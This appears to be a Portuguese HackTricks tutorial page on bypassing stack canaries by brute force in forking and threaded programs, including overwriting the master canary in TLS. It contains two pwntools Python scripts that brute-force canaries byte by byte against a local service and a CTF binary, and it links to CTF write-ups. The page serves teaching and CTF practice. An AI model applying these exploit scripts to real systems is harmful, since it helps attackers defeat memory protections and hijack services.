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# BF Forked & Threaded Stack Canaries
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**
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.png>)
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{% hint style="info" %}
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Observe que o **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
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No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e este valor é verificado antes de sair.
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{% endhint %}
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## Brute force no Canary
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A melhor maneira de contornar um canário simples é se o binário for um programa **criando processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
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Então, a melhor maneira de contornar o canário é simplesmente **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outras situações** poderia ser usando um **try/except**):
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### Exemplo 1
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Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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```
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### Exemplo 2
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Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
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Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil.
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```python
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from pwn import *
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# Here is the function to brute force the canary
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def breakCanary():
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known_canary = b""
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test_canary = 0x0
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len_bytes_to_read = 0x21
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for j in range(0, 4):
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# Iterate up to 0xff times to brute force all posible values for byte
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for test_canary in range(0xff):
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print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
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# Send the current input size
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target.send(len_bytes_to_read.to_bytes(1, "little"))
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# Send this iterations canary
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target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
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# Scan in the output, determine if we have a correct value
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output = target.recvuntil(b"exit.")
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if b"YUM" in output:
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# If we have a correct value, record the canary value, reset the canary value, and move on
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print(" - next byte is: " + hex(test_canary))
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known_canary = known_canary + test_canary.to_bytes(1, "little")
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len_bytes_to_read += 1
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break
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# Return the canary
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return known_canary
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# Start the target process
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target = process('./feedme')
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#gdb.attach(target)
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# Brute force the canary
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canary = breakCanary()
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log.info(f"The canary is: {canary}")
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```
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## Threads
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As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar a barra** de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer. 
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Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usado para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **estouro de buffer na pilha** de uma thread.\
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Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\
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Este ataque é realizado no writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
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Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior.
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## Outros exemplos e referências
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
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* 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá.
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